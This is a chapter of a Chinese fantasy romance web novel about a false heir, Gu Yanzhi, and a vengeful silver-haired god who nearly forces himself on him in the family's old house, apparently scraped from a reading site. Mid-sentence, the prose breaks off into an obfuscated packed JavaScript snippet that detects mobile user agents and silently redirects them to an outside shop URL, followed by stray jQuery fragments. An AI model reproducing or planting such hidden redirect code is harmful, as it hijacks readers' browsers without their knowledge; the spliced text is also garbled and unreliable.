顾衍之的身世是什么?他的身份,他的父母亲人......
他是真假少爷中的假少爷?
是占据了他人人生,背负了罪恶,得不到救赎与原谅的既得利益者?
顾衍之本以为,一切的一切,早便已经有了定论。他所探查到的“真相”,同事实之间,没有差别。可......
“你同样是有怀疑的,不是吗?”
他看到了祂将他内心里,最隐秘的心思剥开,显露在他的眼前。
他并不是圣人。更没有,什么以德报怨。在左脸被人扇了一巴掌后,又将右脸伸出的想法。
他欠顾家的,他自认为是,已经还清。可顾父顾母,甚至那顾家真少爷顾言,和他之间的恩怨......
他并非是没有怨,没有恨,不想要报复的。
他内心里的负面情绪,在一点点被引动。在疯狂滋长。可......
他抬眼,看到了祂眼底的不怀好意。看清楚了祂眼中的,恶意与戏谑。
祂在逼着他,做出选择。在引导了他,走向万劫不复。但那又如何?
他闭了眼,清楚的知晓,他不管做出何等样的选择。那最终的结果,都不会如他所愿。
都只会是,祂在将他的命运,掌握与玩弄而已。
顾衍之厌恶极了,这不受控制的感觉。
便如Omega也好,Alpha也罢。他对这些不同的性别,其实并没有,过多的喜与不喜,抑或者崇拜或歧视。
可是当汹涌的情潮来袭,当陌生的欲念席卷。他不止一次的,想要将指尖伸出,将那腺体,生生抠取。
想要让他的清醒与理智,不会因此,而受到任何影响。变得如同野兽一般,没有半分体面。
但体面,那又是什么?
是他假少爷的身份被揭露。他在顾家的位置,自此一落千丈,陷入到不尴不尬?
还是他所以为的一切,被翻转。他不得不因此,走上所谓赎罪的道路。
抑或者,是他如同货物一般,叫顾父顾母,送上那陌生者的床?
他的内心里,没有答案。
但他不得不与虎谋皮。不得不在祂的目光下,展开笑容。
有那么一瞬间,他其实想要张开口,想要对着祂问出真相。
想要去问祂,祂究竟知晓什么,看出了什么的。可......
“所有命运馈赠的礼物,早已经,在暗中标记好了价格。不是吗?”
他并不认为,他与祂的相遇,会是命运的馈赠与施舍。
更不认为,这会是命运对他的捉弄之后,做出的弥补与偿还。
祂不会是他的救主,更不会是他的救赎。又怎会好心的,去替他出气和复仇?
去帮他,将隐秘的真相揭露?
因而他不过是抬了眼,认认真真的,望向这银发金瞳的邪神。开口,对祂道:
“您想要什么?”
想要从他身上,获得什么。可......
祂又能够从他身上,获得什么呢?
商时序想,祂是应该要将他欺辱,将他折磨,将他视作奴仆。
要让他生活在痛苦之中,永远永远,无法有任何解脱的。
但事实却是,祂在他陷入昏迷的时间里,曾不止一次的将手掐上他的脖颈。将祂的指尖,一点点收缩......
祂曾以神明的身份,因他而来到人间。以白衣祭司的存在,被他封印了千万年。
祂是如此深恨他。祂本该,是深恨着他的。
商时序恨不得要将他敲骨吸髓,食肉寝皮。
即使那不过是顾衍之的某一世,是顾衍之自己,尚不清楚的过往。
但没有爱,又来恨?
祂眼睛闭上又睁开,唇角凉薄的笑意掀起。缓缓贴近了他的面,语音暧昧且缠绵道:
“我要......你。”
要你哭泣,求饶,不能自已。
要你为了曾经的一切,付出代价。
伴随了商时序话音落下,顾衍之裸裎在外的皮肉间,好似是有带了鳞片的蛇寸寸滑过。
带起层层战栗。
直叫他指尖微颤,好似坠入到了深渊。从内心里,生出阵阵寒意。
这样的寒意如影随形,纵使在阳光下,在人群里,同样是不能被祛除。
直至他在提心吊胆,以及浅淡的恍惚中,带着商时序回到了顾家。
是的,顾家。
不是那个有着顾父顾母存在,叫他因顾父的一杯水,如同礼物一般,被送上了陌生者床的顾家。
而是他自小生活过的,同早已经逝去的顾爷爷,一起居住过的地方。
顾父顾母,以及那在顾爷爷逝去之后,被找回顾家的真少爷,甚少涉足的顾家老宅。
厚重的大门在他掌下推开,顾衍之的目光有那么一瞬间的模糊。
直至他的眼,下意识的落在了那客厅内,顾爷爷的遗像前。
他的脑海中,闪现过顾爷爷的面容。闪现过顾爷爷生命的最后时光里,对着他留下的话语。
事实上,在他最后见到顾爷爷时,那位老人已经是行将就木,意识浑噩。
如同是包着人皮的骷髅一般,在勉力喘气,支撑。眷恋着这世间,不肯离去。
彼时的顾衍之,仍是顾家的长子长孙。他作为假少爷的身份,尚未被揭露。
那是很长一段时间里,顾衍之心中,挥之不去的梦魇。
躺在病床上,周身插着各种管子,叫各种医学仪器维持生命的顾爷爷,似乎是认出了他。
察觉到了他的到来。
顾爷爷艰难地睁开眼,抬起手,握住了他的衣角。
生命的最后,这老人张了张口,含糊不清的,仿佛是要对顾衍之说些什么。可......
听不清楚,看不分明。顾衍之的视野一片模糊,耳中充斥了各种各样的声响。
直至他回神,倒映在眼中的,是顾爷爷垂落的手。以及眼角落下的,浑浊的泪水。
顾爷爷的生命,在他面前,彻底步向了终结。
“是你,是你害了你爷爷!”
“你爷爷和你说了什么,留下什么?”
“一个假少爷而已,时至今日,你还不把那东西交出来!还要隐瞒吗?”
...... ......
顾衍之在短短时间里,飞快体会到了何谓人情冷暖,世事无常。
他在那老人逝去后的短短时间里,失去的,从来就不仅是顾爷爷。
甚至于,他不过是一个,占据了顾爷爷亲孙子身份,享受了顾爷爷关爱与教导的冒牌货而已。
一个外人,顾家的外人。
他没有理由,更没有立场,同顾爷爷的子孙之间,抢夺什么,争辩什么。
他所能做的,不过是偿还、忏悔,以及赎罪而已。
但那不会是他生命的全部。他同样,是不甘于永远如此的。
他本以为,他可以不辜负那老人的教导。可以在这不久之后,脱离顾家。可......
当他在心力交瘁,不知晓,该去往何方时。他下意识的,回到了这顾家的老宅。
逝去的生命不会再回返。早已作古的顾爷爷,不会再出现在他眼前。给他以任何力量,支撑,抑或者解惑。
顾衍之眼前,有属于过往的种种闪现。他下意识的,松开了商时序的手。上前,要擦拭过那相框。
触碰过过往。
他的内心里,有诸多种种复杂的,悲伤的情绪在蔓延。仿佛阳光下,闪烁着光泽的琉璃一般。
只要轻轻一触,便足以土崩瓦解,四处溃散。
可他却又是再坚韧,与坚强不过的。自始至终,都未曾想过随波逐流,未曾想过臣服。只不过......
他忽视了商时序的存在。
又或者说,从民宿至顾家老宅的路程里,祂的配合,叫他忘却了。祂于他而言,究竟是何等恶劣,何等可恶。
平地有风生起,原本叫他开启的大门,在他身后,自行被关上。他脚下微软,不受控制的,向着地面扑去。
料想中的疼痛,并未到来。他被祂圈禁在怀中,在地毯上滚动。直至呼吸纠缠,祂的发丝,扫落在他颈侧。
带起些微的痒。
祂的眉眼,无疑是极冷锐且充满攻击性的,特别是在祂居高临下,将他压在身下之际。
可事实却是,当祂的双眼,在望向他时。却似乎,总是带着缱绻深情,与些微的复杂和挣扎。
祂似乎是在透过他,看向某个人。
爱与恨,在祂眼中交织。他并非是一无所觉,更并非是一点都不开窍。
他本无意去追寻。但......
“不要在这里,好吗?”
顾衍之软玉温声。然而他的眉头皱起,却分明是带着隐隐的烦躁。
这老宅中,带有了太多太多的回忆。而连日里来,从那别墅中逃走也好,和祂之间的纠缠也罢。
早已经耗费了他,太多太多的心力。
以致于他的清醒与理智,早已经是处在崩溃的边缘。岌岌可危,只待瓦解。
他的眼中,倒映着祂在一瞬间里,变得阴沉且诡谲的颜。他的双手,被祂扼住,抬起。修长的腿被分开......
他眼角的余光里,是顾爷爷黑白的,巨幅的照片。恍若是记忆里的老人,在那一瞬间,活了过来。
从那相框里,从他的回忆中走来。
熟悉的情潮涌动,Alpha的信息素,以及那似乎是存在,又好似是幻影一般的触手之下。
凡是祂的手掌,是他在同祂的身躯纠缠,相贴的地方。俱是如同被搅乱的春水一般,带起层层战栗。
顾衍之好似是在坠下。坠落在深海里,不能自已,无法挣扎。甚至是被迫沉沦。
被迫在那被挑起的,深沉且汹涌的欲念之下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176222|150587||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
发出轻喘。
顾衍之喉结滚动,从喉咙深处,逸出低吟。可......
羞耻,罪恶,痛苦。
这或许是他的本能,却不是他的本意。
他又如何能,又怎么可以,在顾爷爷的遗像之下,被......
他以齿狠狠咬住唇。细碎的,恍若星河的眸光中,终是有泪水控制不住的,随之落下。
落到商时序的唇边。在祂一点点的,沿着他的唇瓣至眼尾,吻过、落向的地方。
祂的动作随之停止。
祂掐住了他的下颔,金瞳璀璨,眸色深深的打量过好似是放弃了所有抵抗,面色惨白,心如死灰的顾衍之。
商时序似乎是在探究,在犹疑。在从遥远的记忆里,祂同他走过的岁月中,寻找答案。
曾经的“他”,并不是现在的他。曾经的商时序,同样不是现在的商时序。
但当商时序以双眼望过,神明的金瞳之下,他与“他”之间,灵魂的本质相同。性格与个性......
同样是未曾有过多的转变。
甚至于在他的宿命线上,在祂的灵魂里,尚且有祂对“他”的诅咒留存。有属于祂的印记铭刻。
那“他”上一次落泪,哭泣,又是什么时候呢?
那并不是他们的初见之日,“他”从白玉京落下。所有希望成空,那一路而来的艰辛与跋涉,好似成为虚妄。
亦不是十日凌空,人间的种种惨象入眼。“他”自以为是可以做出什么,最终面临的,却是一个个生命逝去。
更非是玄鸟的旗帜升起,人族的命运,终是摆脱那种种的纠缠。走向不一样的可能。
“他”的上一次落泪,是......
祂以指尖抹过他脸侧的泪水,忽然恍然。
那是很久之前,他们最后一次见面。是祂,在古老的建木之下等待,被“他”亲手封印之前。
“他”说,忘了我。
可祂如何能忘,怎么能忘?
祂的血滴落在地面,被浇灌在建木的根系里。祂的胸膛,被“他”亲手捅穿,身躯被“他”一点点肢解......
祂想,“他”或许是有苦衷的。所以祂等了“他”无数年。祂......
祂看到了顾衍之眼中的厌倦与惶恐,更看到了他灵魂之下疲惫。
不知从什么时候开始。那将祂吸引,叫祂一见之下,便不顾好友劝导,毅然从那玉京山上走下的灵魂。
似乎正在被消磨,在走向寂灭。
他灵魂的力量,已无法再支撑他走过更多的轮回,抑或者转世。
他若是死了,或许便当真,是真的死了。
干干净净,就此消散在天地间,彻底陨落。
可这又怎么可能?
千万年以前的“他”,分明是如此接近神明。
是已经超脱了生死轮回的,只差一点,便足以登临神位的凡人。又怎会......
是祂对“他”,施下的诅咒,致使“他”在这漫长的时光里,走到如此地步吗?可......
不过是短短的一瞬,商时序便在内心里,将自己的想法否决。
祂清楚“他”的实力,更清楚,祂仓促之间,立下的诅咒,将会对“他”产生的影响。
“他”不该落到如此地步的,至少不应该,是这般孱弱且易碎的模样。
“他”的身上,究竟发生了什么。祂又应当,将他如何对待?
即使神明的双眼,足以洞悉一切。可商时序心里,却始终没有答案。
祂不过是遵循了本能的,想要将祂的怒意与怨气宣泄。想要将他彻底控制和侵占。
想要将“他”带给祂的痛苦,成倍返还。
可祂偏偏,没有做好再失去他,同他两不相见,再不想干的准备。
祂想要看他道歉,听他解释。要他承认,他错了,他不该如此。他不该......
将祂辜负,将祂封印。
但他的情况,却较之以祂想象的,更加糟糕。以致于祂根本,便无法强行将他宿世的记忆唤醒。
将那所谓的“真相”探得。但......
屈辱,强迫,心如死灰......
这便是祂想要带给他的吗?
顾衍之带泪的目光之下,商时序有些茫然。
祂曾从九天之上走下,为“他”来到这世间。在红尘里驻足。
然后祂便被长留在此世间,在极渊之下,千年万年。直至阴差阳错之下,叫“他”亲手设下的封印被破开。
祂又见到了他。
祂是该残忍报复的,可......
汹涌的浪潮,如潮水一般褪去。顾衍之好似是溺水的浮木般,叫海浪抛落在了岸边。
他看到了祂抽身而起,暗沉且华丽的袍袖洒下。俊美到极致的面容间,没有半点情绪。
祂一步步后退,走出他的视野,好似是要将他放过。